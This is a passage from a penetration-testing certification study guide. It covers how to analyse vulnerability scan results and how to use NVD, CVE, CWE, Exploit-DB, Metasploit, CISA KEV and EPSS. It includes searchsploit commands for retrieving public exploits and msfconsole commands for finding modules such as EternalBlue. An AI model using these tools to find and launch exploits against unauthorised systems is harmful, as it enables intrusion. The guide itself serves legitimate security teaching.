&lt;p&gt;Modern enterprise vulnerability management programs move toward continuous scanning — using a combination of agents (which report vulnerability state in real time as software changes) and frequent scheduled scans to maintain an up-to-date picture of the vulnerability landscape.&lt;/p&gt;

&lt;p&gt;In a penetration testing context, the scan is inherently point-in-time and reflects the state of the environment during the testing window. This is acknowledged in the penetration test report's scope and methodology section, and the report typically recommends implementing continuous vulnerability scanning as a remediation action.&lt;/p&gt;




&lt;h2&gt;
  
  
  3.3.9 Interpreting and Acting on Scan Results
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Reading a Vulnerability Scan Report Like a Professional
&lt;/h3&gt;

&lt;p&gt;The output of a vulnerability scan is not the end product — it is raw material that requires analysis and interpretation before it becomes actionable intelligence.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The anatomy of a vulnerability finding:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Every finding in a vulnerability scan report contains several elements. The CVE identifier ties the finding to the global vulnerability record. The CVSS score communicates severity. The plugin/NVT name describes the check that found it. The affected asset and service identify exactly what is vulnerable. The description explains what the vulnerability is and how it works. The evidence section shows what the scanner observed that led to the finding — this might be a version number, a service banner, or the actual response to a vulnerability probe. The solution section provides remediation guidance.&lt;/p&gt;

&lt;p&gt;For each significant finding, a skilled penetration tester reads all of these elements and asks: Does this make sense? Is the evidence convincing? Could there be a reason this is a false positive? What are the actual exploitation requirements? What business impact would successful exploitation have?&lt;/p&gt;

&lt;h3&gt;
  
  
  Prioritizing Findings for Reporting
&lt;/h3&gt;

&lt;p&gt;Not all vulnerabilities are equally urgent, and a penetration test report that lists 847 findings in CVSS score order without any analytical prioritization is not professionally valuable. The client's security team cannot act on 847 items simultaneously. They need guidance on where to focus first.&lt;/p&gt;

&lt;p&gt;Professional prioritization considers CVSS score as a starting input, then adjusts based on exploitability (confirmed by manual testing or exploit availability), asset criticality (a vulnerability in the payment processing server is more critical than the same vulnerability in a non-production test server), exposure (internet-facing vs. internal), and business context (a confidentiality impact vulnerability is more critical for a data-heavy company than an availability impact).&lt;/p&gt;

&lt;p&gt;The final report should present findings in priority tiers, with clear executive-level language explaining why the top-priority findings demand immediate attention.&lt;/p&gt;

&lt;h3&gt;
  
  
  Verification Before Reporting
&lt;/h3&gt;

&lt;p&gt;The professional standard is to manually verify every finding before including it in a report. Verification does not always mean active exploitation — sometimes it means checking package manager logs to confirm a patch was not backported, reviewing service configurations to confirm the vulnerable condition exists, or checking vendor advisories to confirm the reported version range is accurate.&lt;/p&gt;

&lt;p&gt;A finding that appears in scan output but cannot be manually verified should be reported as "potential vulnerability requiring further investigation" rather than a confirmed finding. This intellectual honesty protects both the penetration tester's credibility and the client's ability to triage effectively.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Remediation Feedback Loop
&lt;/h3&gt;

&lt;p&gt;Vulnerability scanning is not a one-time event — it is part of a continuous improvement cycle. After findings are remediated, the scanner should be run again to confirm that patches and configuration changes were effective. This rescan is the evidence that remediation worked.&lt;/p&gt;

&lt;p&gt;In enterprise vulnerability management programs, this cycle runs continuously: scan, prioritize, remediate, rescan, verify, and repeat. The goal is a continuously shrinking attack surface as vulnerabilities are identified and fixed faster than new ones are introduced.&lt;/p&gt;

&lt;p&gt;For a penetration tester, this manifests as the retest engagement: after the client remediates the critical and high findings from the initial assessment, the penetration testing firm returns to verify that the fixes were implemented correctly and effectively. A finding that was "patched" but still exploitable because the patch was applied incorrectly is a significant finding in the retest report.&lt;/p&gt;




&lt;h1&gt;
  
  
  Module 3 — Section 3.4: Understanding How to Analyze Vulnerability Scan Results
&lt;/h1&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;CompTIA PenTest+ / Ethical Hacking Certification Series&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;Professional Reference Guide — GitHub Edition&lt;/em&gt;&lt;br&gt;
&lt;em&gt;Module 3 Final Sections — The Complete Intelligence-to-Action Pipeline&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;3.4.1 Overview — From Raw Results to Actionable Intelligence&lt;/li&gt;
&lt;li&gt;3.4.2 Sources for Further Investigation of Vulnerabilities&lt;/li&gt;
&lt;li&gt;3.4.3 Investigating Vulnerability Information — Professional Workflow&lt;/li&gt;
&lt;li&gt;3.4.4 How to Deal with a Vulnerability — The Full Decision Framework&lt;/li&gt;
&lt;li&gt;3.5 Module 3 Summary — What You Have Learned and Why It Matters&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  3.4.1 Overview — From Raw Results to Actionable Intelligence
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Moment After the Scan Finishes
&lt;/h3&gt;

&lt;p&gt;You have run your vulnerability scans. The tools have done their work. OpenVAS has generated a report with 312 findings. Nmap's NSE scripts flagged several critical vulnerabilities. Nuclei confirmed a handful of exposures. Nikto found default files on a web server. Searchsploit returned results for half a dozen service versions you detected.&lt;/p&gt;

&lt;p&gt;Now what?&lt;/p&gt;

&lt;p&gt;This is the moment that separates security practitioners who can run tools from those who can actually do security work. A list of 312 scanner findings is not intelligence. It is data — raw, unfiltered, partially inaccurate, and without context. Transforming that data into intelligence that can actually guide decisions — deciding what to fix, in what order, with what urgency, and with what evidence — requires understanding each vulnerability more deeply than any scanner can do automatically.&lt;/p&gt;

&lt;p&gt;This is what Section 3.4 is about: the analytical work that happens after the scan.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Core Problem with Scanner Output
&lt;/h3&gt;

&lt;p&gt;Consider a real scenario. Your scan of a web application server returns forty findings. Among them:&lt;/p&gt;

&lt;p&gt;A CVSS 9.8 finding for Apache Struts 2.5.26, flagged as vulnerable to CVE-2021-31805 — a remote code execution vulnerability. You look at the affected server. It turns out this is a Windows IIS server, not an Apache Struts application. The scanner misidentified a bundled library version in one response header. The finding is a false positive.&lt;/p&gt;

&lt;p&gt;A CVSS 4.3 finding for an information disclosure issue — the server is returning the PHP version in every response header. This sounds low-severity from the score alone. But you check the PHP version: 5.6.40. PHP 5.6 reached end-of-life in December 2018. That version has received no security patches in over five years. There are dozens of unpatched critical vulnerabilities in PHP 5.6, but they are not flagged individually by the scanner because the scanner checked the PHP version, not every individual unpatched CVE in that version. The CVSS 4.3 finding is a signpost pointing to something far more serious.&lt;/p&gt;

&lt;p&gt;A CVSS 7.5 finding for OpenSSH 7.4 — username enumeration via CVE-2018-15919. The server is an internal jump box accessible only from specific IP ranges on the management VLAN. From the external network, it is completely unreachable. The scanner does not know this topology detail. The finding is technically accurate but contextually lower priority than its CVSS score suggests, because exploitation requires network access the external attacker does not have.&lt;/p&gt;

&lt;p&gt;These three examples illustrate the core problem: scanner output without contextual analysis misleads more than it guides. The numbers and colors in a scanner report are a starting point, not a conclusion.&lt;/p&gt;

&lt;h3&gt;
  
  
  What Professional Analysis Looks Like
&lt;/h3&gt;

&lt;p&gt;When a professional penetration tester or vulnerability analyst receives scanner output, they apply a systematic analysis framework that addresses several questions for each significant finding:&lt;/p&gt;

&lt;p&gt;Is this finding real, or is it a false positive? What evidence did the scanner produce, and does that evidence actually confirm the vulnerability?&lt;/p&gt;

&lt;p&gt;Is this vulnerability actually exploitable in this specific environment? What conditions does exploitation require, and do those conditions exist here?&lt;/p&gt;

&lt;p&gt;What does this vulnerability actually allow an attacker to do? The CVSS score describes a theoretical worst case — what is the realistic impact in this specific environment?&lt;/p&gt;

&lt;p&gt;How does this finding relate to other findings? Does a chain of lower-severity vulnerabilities create a higher-impact attack path than any individual finding suggests?&lt;/p&gt;

&lt;p&gt;What is the business context of the affected asset? A vulnerability on the payment processing server demands different urgency than the same vulnerability on a test server with no access to sensitive data.&lt;/p&gt;

&lt;p&gt;What are the remediation options? Is a patch available? Can the service be reconfigured to eliminate the vulnerability? Are compensating controls available if immediate patching is not possible?&lt;/p&gt;

&lt;p&gt;These questions are what Section 3.4 teaches you to answer. They require deep familiarity with vulnerability intelligence sources, an understanding of how vulnerabilities work, and the analytical discipline to treat scanner output as a hypothesis rather than a conclusion.&lt;/p&gt;




&lt;h2&gt;
  
  
  3.4.2 Sources for Further Investigation of Vulnerabilities
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Professional Reference Ecosystem
&lt;/h3&gt;

&lt;p&gt;When a scanner reports a vulnerability, the professional next step is to look it up in authoritative sources to understand it fully before making any decisions about it. These sources are not optional reference material — they are the professional infrastructure of vulnerability management and penetration testing. Knowing where to find information and how to use each source is a core professional skill.&lt;/p&gt;

&lt;h3&gt;
  
  
  NVD — National Vulnerability Database
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;URL:&lt;/strong&gt; &lt;a href="https://nvd.nist.gov" rel="noopener noreferrer"&gt;https://nvd.nist.gov&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Maintained by:&lt;/strong&gt; National Institute of Standards and Technology (NIST), U.S. Department of Commerce&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; The authoritative enrichment layer for CVE records. The primary reference for CVSS scores, CWE classifications, affected software configurations, and vendor advisory links.&lt;/p&gt;

&lt;p&gt;The NVD is where you go first when you have a CVE identifier and need to understand it fully. Every CVE record in the NVD contains the CVSS v3.1 base score and vector string (giving you the full breakdown of attack vector, complexity, privileges required, user interaction, scope, and impact), the CWE identifier (classifying the type of underlying weakness), the CPE (Common Platform Enumeration) list of affected products and version ranges, links to vendor advisories and public references, and increasingly, EPSS scores reflecting exploitation likelihood.&lt;/p&gt;

&lt;p&gt;The NVD record for CVE-2021-44228 (Log4Shell) shows CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — the maximum possible score of 10.0. Reading this vector string tells you everything: it is exploitable remotely from anywhere on the internet, requires no special conditions to trigger, requires no account or authentication, requires no victim action, changes the security scope from the application to the operating system, and results in complete loss of confidentiality, integrity, and availability. That single vector string communicates the entire severity picture in standardized, unambiguous language.&lt;/p&gt;

&lt;p&gt;One limitation to understand: NVD has faced processing backlogs at various points — in 2024 specifically, NIST fell significantly behind on enriching new CVE records with CVSS scores and CPE information. This created a period where many CVE records existed in the NVD without CVSS scores, forcing security teams to use alternative sources like VulnCheck or CISA's ADP (Authorized Data Publisher) enrichment. Knowing that NVD is the standard but not always the most current source is important professional awareness.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How to use NVD in practice:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# NVD API for automated lookups (useful in scripts)&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2021-44228"&lt;/span&gt;

&lt;span class="c"&gt;# Search for vulnerabilities by keyword&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://services.nvd.nist.gov/rest/json/cves/2.0?keywordSearch=apache+log4j"&lt;/span&gt;

&lt;span class="c"&gt;# Get all critical CVEs published in the last 30 days&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://services.nvd.nist.gov/rest/json/cves/2.0?cvssV3Severity=CRITICAL&amp;amp;pubStartDate=2024-01-01T00:00:00.000&amp;amp;pubEndDate=2024-01-31T23:59:59.000"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When reading an NVD record manually, always check the References section — it contains links to the vendor's official security advisory, patches, workarounds, and any proof-of-concept (PoC) code that has been publicly disclosed. These references are your roadmap for everything else you need to understand and act on the vulnerability.&lt;/p&gt;

&lt;h3&gt;
  
  
  MITRE CVE Database
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;URL:&lt;/strong&gt; &lt;a href="https://cve.mitre.org" rel="noopener noreferrer"&gt;https://cve.mitre.org&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Maintained by:&lt;/strong&gt; MITRE Corporation, under sponsorship from CISA (Cybersecurity and Infrastructure Security Agency)&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; The authoritative source for CVE identifiers — the source of record for CVE assignment and the canonical definition of each vulnerability.&lt;/p&gt;

&lt;p&gt;While NVD enriches CVE records with scores and affected product data, MITRE's CVE Program is where CVE identifiers originate and where the definitive description of each vulnerability lives. The distinction matters: NVD can have processing delays, but MITRE's CVE list is updated more immediately when new CVEs are assigned.&lt;/p&gt;

&lt;p&gt;MITRE also maintains CVE Numbering Authorities (CNAs) — organizations that have been authorized to assign CVE numbers for vulnerabilities in their own products. Major technology companies including Microsoft, Google, Apple, Cisco, Red Hat, and hundreds of others are CNAs. When Microsoft discovers a vulnerability in Windows, they assign it a CVE number themselves. When a researcher discovers a vulnerability in a product from a company that is not a CNA, they report it to MITRE or to a CNA with coordination responsibilities, who assigns the number.&lt;/p&gt;

&lt;p&gt;Understanding the CNA ecosystem explains why you sometimes see CVEs for products you would not expect to have a formal disclosure process, and why the time between vulnerability discovery and CVE assignment varies dramatically.&lt;/p&gt;
&lt;h3&gt;
  
  
  CWE — Common Weakness Enumeration
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;URL:&lt;/strong&gt; &lt;a href="https://cwe.mitre.org" rel="noopener noreferrer"&gt;https://cwe.mitre.org&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Maintained by:&lt;/strong&gt; MITRE Corporation&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; A categorization system for the underlying code-level weakness types that cause vulnerabilities.&lt;/p&gt;

&lt;p&gt;If CVE is the dictionary of specific vulnerabilities ("CVE-2021-44228 is a specific Log4j flaw"), CWE is the grammar — the classification of the types of flaws that exist. CVE-2021-44228 is classified as CWE-917 (Improper Neutralization of Special Elements used in an Expression Language Statement). This classification tells you the root cause is that the application uses user-controlled input in a context where that input is interpreted as code.&lt;/p&gt;

&lt;p&gt;CWE classifications are valuable for:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Root cause analysis:&lt;/strong&gt; When multiple vulnerabilities share the same CWE, it indicates a systemic weakness in the codebase — the developers are repeatedly making the same class of mistake. This is valuable intelligence for recommending not just patches but improvements to development practices.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Defense strategy:&lt;/strong&gt; Knowing the CWE category points directly to the defensive control that addresses it. CWE-89 (SQL Injection) points to parameterized queries. CWE-79 (Cross-Site Scripting) points to output encoding and Content Security Policy. CWE-78 (OS Command Injection) points to avoiding shell command construction with user input.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tool coverage assessment:&lt;/strong&gt; Static analysis tools (SAST) and security testing tools are often evaluated by which CWE categories they cover. Understanding CWE helps you evaluate whether your security tool suite has meaningful coverage.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Some critical CWEs every penetration tester must know:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;CWE ID&lt;/th&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Common Manifestation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CWE-79&lt;/td&gt;
&lt;td&gt;Cross-Site Scripting (XSS)&lt;/td&gt;
&lt;td&gt;User input reflected in HTML without encoding&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE-89&lt;/td&gt;
&lt;td&gt;SQL Injection&lt;/td&gt;
&lt;td&gt;User input concatenated into SQL queries&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE-78&lt;/td&gt;
&lt;td&gt;OS Command Injection&lt;/td&gt;
&lt;td&gt;User input passed to shell execution functions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE-22&lt;/td&gt;
&lt;td&gt;Path Traversal&lt;/td&gt;
&lt;td&gt;User-controlled file paths allowing &lt;code&gt;../&lt;/code&gt; traversal&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE-287&lt;/td&gt;
&lt;td&gt;Improper Authentication&lt;/td&gt;
&lt;td&gt;Broken authentication mechanisms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE-306&lt;/td&gt;
&lt;td&gt;Missing Authentication for Critical Function&lt;/td&gt;
&lt;td&gt;Admin functions with no auth check&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE-434&lt;/td&gt;
&lt;td&gt;Unrestricted Upload of Dangerous File Type&lt;/td&gt;
&lt;td&gt;File upload without type validation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE-502&lt;/td&gt;
&lt;td&gt;Deserialization of Untrusted Data&lt;/td&gt;
&lt;td&gt;Java/PHP deserialization vulnerabilities&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE-611&lt;/td&gt;
&lt;td&gt;XML External Entity (XXE)&lt;/td&gt;
&lt;td&gt;XML parsers processing external entity declarations&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE-798&lt;/td&gt;
&lt;td&gt;Use of Hard-coded Credentials&lt;/td&gt;
&lt;td&gt;Passwords embedded in source code&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;h3&gt;
  
  
  Exploit-DB
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;URL:&lt;/strong&gt; &lt;a href="https://www.exploit-db.com" rel="noopener noreferrer"&gt;https://www.exploit-db.com&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Maintained by:&lt;/strong&gt; Offensive Security (creators of Kali Linux and OSCP)&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; A public archive of exploits and vulnerable software — the most comprehensive public database of working exploit code.&lt;/p&gt;

&lt;p&gt;Exploit-DB is where you go when you need to know whether a working public exploit exists for a vulnerability and what it looks like. Finding that a vulnerability has a public exploit in Exploit-DB immediately elevates its priority — exploitation is no longer theoretical, and the code to do it is publicly available to anyone.&lt;/p&gt;

&lt;p&gt;Each entry in Exploit-DB contains the vulnerability details, the affected software and version, the type of exploit (remote, local, web application, denial of service), a verification status (unverified or verified), the platform (Windows, Linux, multiple), and the actual exploit code or proof-of-concept.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;searchsploit&lt;/code&gt; command-line tool provides offline access to the Exploit-DB archive on Kali Linux, making it the fastest way to check exploit availability during a penetration test without requiring internet access.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Search by software name&lt;/span&gt;
searchsploit apache tomcat
searchsploit openssh
searchsploit wordpress 5.8

&lt;span class="c"&gt;# Search by CVE&lt;/span&gt;
searchsploit CVE-2021-44228
searchsploit CVE-2017-0144

&lt;span class="c"&gt;# View exploit details without opening it&lt;/span&gt;
searchsploit &lt;span class="nt"&gt;-x&lt;/span&gt; 47837

&lt;span class="c"&gt;# Copy exploit to current directory for use&lt;/span&gt;
searchsploit &lt;span class="nt"&gt;-m&lt;/span&gt; 47837

&lt;span class="c"&gt;# Update the local database&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;searchsploit &lt;span class="nt"&gt;--update&lt;/span&gt;

&lt;span class="c"&gt;# Output as JSON for programmatic use&lt;/span&gt;
searchsploit &lt;span class="nt"&gt;--json&lt;/span&gt; apache tomcat 9.0 | python3 &lt;span class="nt"&gt;-m&lt;/span&gt; json.tool

&lt;span class="c"&gt;# Search with full path output&lt;/span&gt;
searchsploit &lt;span class="nt"&gt;--path&lt;/span&gt; apache struts 2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Understanding Exploit-DB entry quality:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Exploit-DB entries vary in quality and reliability. Some exploits are mature, well-tested, and work reliably against multiple versions of the target software. Others are proof-of-concept code written by researchers to demonstrate a vulnerability exists — they may require significant modification to work in a real environment. Some may be incomplete, contain errors, or have been written for a slightly different version of the target than the one you are testing.&lt;/p&gt;

&lt;p&gt;The "Verified" badge in Exploit-DB indicates the Offensive Security team has tested and confirmed the exploit works as described. Unverified exploits require more careful evaluation before trusting them in a professional engagement.&lt;/p&gt;

&lt;h3&gt;
  
  
  Metasploit Framework Database
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;URL:&lt;/strong&gt; &lt;a href="https://www.metasploit.com" rel="noopener noreferrer"&gt;https://www.metasploit.com&lt;/a&gt; (framework); &lt;a href="https://www.rapid7.com/db" rel="noopener noreferrer"&gt;https://www.rapid7.com/db&lt;/a&gt; (vulnerability database)&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Maintained by:&lt;/strong&gt; Rapid7&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; The most important single source for penetration-testing-ready exploit modules.&lt;/p&gt;

&lt;p&gt;While Exploit-DB contains raw exploit code that often requires technical adaptation, the Metasploit Framework contains modules that have been engineered to work reliably across multiple target configurations, with built-in payloads, target selection, and auxiliary support. When a vulnerability has a Metasploit module, exploitation becomes significantly more accessible.&lt;/p&gt;

&lt;p&gt;The Rapid7 vulnerability database at &lt;a href="https://www.rapid7.com/db" rel="noopener noreferrer"&gt;https://www.rapid7.com/db&lt;/a&gt; is the searchable online interface to the same data. You can search by CVE, by software, or by vulnerability type and see exactly which Metasploit modules exist, what platforms they target, how they are used, and what their reliability rating is.&lt;/p&gt;

&lt;p&gt;For a penetration tester, the existence of a Metasploit module for a vulnerability is a critical piece of information for two reasons. First, it indicates the vulnerability is realistic and the exploitation path is well-understood. Second, it means any attacker with basic Metasploit skills can exploit it — raising the urgency for remediation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Within Metasploit console:&lt;/span&gt;
msfconsole

&lt;span class="c"&gt;# Search for modules by CVE&lt;/span&gt;
search CVE-2021-44228
search CVE-2017-0144

&lt;span class="c"&gt;# Search by name or description&lt;/span&gt;
search eternalblue
search log4shell
search struts

&lt;span class="c"&gt;# Get detailed information about a module&lt;/span&gt;
info exploit/multi/handler
info exploit/windows/smb/ms17_010_eternalblue

&lt;span class="c"&gt;# Check module reliability ratings&lt;/span&gt;
show all               &lt;span class="c"&gt;# All modules&lt;/span&gt;
use exploit/windows/smb/ms17_010_eternalblue
info                   &lt;span class="c"&gt;# Shows rank: Excellent/Great/Good/Normal/Average/Low/Manual&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Metasploit reliability rankings:&lt;/strong&gt; Modules are rated Excellent, Great, Good, Normal, Average, Low, or Manual. "Excellent" means the exploit never crashes services — it is safe to use. "Normal" means the exploit is reliable but may crash services if it fails. "Manual" means the exploit is for educational purposes and requires significant operator skill and manual steps. For production penetration tests, understanding these ratings helps you assess operational risk.&lt;/p&gt;

&lt;h3&gt;
  
  
  CISA KEV — Known Exploited Vulnerabilities Catalog
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;URL:&lt;/strong&gt; &lt;a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" rel="noopener noreferrer"&gt;https://www.cisa.gov/known-exploited-vulnerabilities-catalog&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Maintained by:&lt;/strong&gt; Cybersecurity and Infrastructure Security Agency (CISA), U.S. Federal Government&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; A catalog of CVEs that have been confirmed as actively exploited in the wild — the most authoritative real-world exploitation signal available.&lt;/p&gt;

&lt;p&gt;The CISA KEV catalog was established in November 2021 and has become one of the most important vulnerability prioritization signals in the industry. Unlike CVSS scores (which represent theoretical severity) or EPSS scores (which represent statistical exploitation probability), the KEV catalog lists vulnerabilities that are known, with confirmed evidence, to have been actively exploited by threat actors.&lt;/p&gt;

&lt;p&gt;U.S. federal civilian agencies are mandated by CISA Binding Operational Directive 22-01 to remediate KEV-listed vulnerabilities within specified timeframes (typically 2 weeks for new additions). But the KEV's value extends far beyond federal compliance — it is the clearest available signal that a vulnerability is being weaponized in real attacks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How KEV entries are added:&lt;/strong&gt; CISA adds a vulnerability to the KEV catalog when there is reliable evidence of active exploitation. This evidence comes from multiple sources: CISA's own threat intelligence, reports from federal agencies, commercial threat intelligence providers, information sharing partnerships, and public reporting from security researchers. The bar for inclusion is confirmed exploitation — not theoretical exploitability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why KEV matters for penetration testing:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When you find a KEV-listed vulnerability in a client's environment, the finding has an additional dimension that elevates it beyond the CVSS score: real threat actors are actively using this exact vulnerability in real attacks right now. The remediation urgency is not a theoretical calculation — it is based on confirmed attacker behavior.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Fetch the KEV catalog as JSON&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json"&lt;/span&gt; | python3 &lt;span class="nt"&gt;-m&lt;/span&gt; json.tool

&lt;span class="c"&gt;# Check if a specific CVE is in KEV&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json"&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
  python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"
import json, sys
data = json.load(sys.stdin)
target_cve = 'CVE-2021-44228'
for v in data['vulnerabilities']:
    if v['cveID'] == target_cve:
        print(f'FOUND IN KEV: {target_cve}')
        print(f'Product: {v[&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;product&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;]}')
        print(f'Vendor: {v[&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;vendorProject&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;]}')
        print(f'Date Added: {v[&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;dateAdded&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;]}')
        print(f'Due Date: {v[&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;dueDate&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;]}')
        print(f'Notes: {v[&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;notes&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;]}')
"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  EPSS — Exploit Prediction Scoring System
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;URL:&lt;/strong&gt; &lt;a href="https://www.first.org/epss" rel="noopener noreferrer"&gt;https://www.first.org/epss&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Maintained by:&lt;/strong&gt; FIRST (Forum of Incident Response and Security Teams) in partnership with threat intelligence contributors&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; A machine learning-based system that predicts the probability that a CVE will be exploited in the next 30 days.&lt;/p&gt;

&lt;p&gt;EPSS was developed to solve a specific problem: CVSS scores measure theoretical severity but have weak correlation with actual exploitation. A CVE with a CVSS score of 9.8 might have a very low probability of being exploited in practice — perhaps because the affected software is rarely deployed, or because exploitation requires conditions that are almost never present, or because no public exploit exists. Meanwhile, a CVE with a CVSS score of 6.5 might have a very high EPSS score — because it has a mature Metasploit module, affects widely-deployed software, and is already being actively used in attacks.&lt;/p&gt;

&lt;p&gt;The EPSS model analyzes hundreds of signals to generate its daily score: the CVE's CVSS metrics, the type of weakness (CWE), whether the CVE is listed in threat intelligence feeds, whether public exploit code exists, whether it has Metasploit modules, whether it is discussed in offensive security tooling, and historical exploitation patterns for similar vulnerability types.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;EPSS produces two values:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;score&lt;/strong&gt; (0 to 1) represents the probability of exploitation activity in the next 30 days. A score of 0.97 means there is a 97% probability that this vulnerability will be observed in exploitation attempts in the next 30 days.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;percentile&lt;/strong&gt; represents where this vulnerability ranks within the universe of all CVEs. A percentile of 0.99 means this vulnerability has a higher EPSS score than 99% of all CVEs. This context matters: even a seemingly low EPSS score of 0.05 might be in the 85th percentile, meaning it has a higher exploitation probability than 85% of all vulnerabilities.&lt;/p&gt;

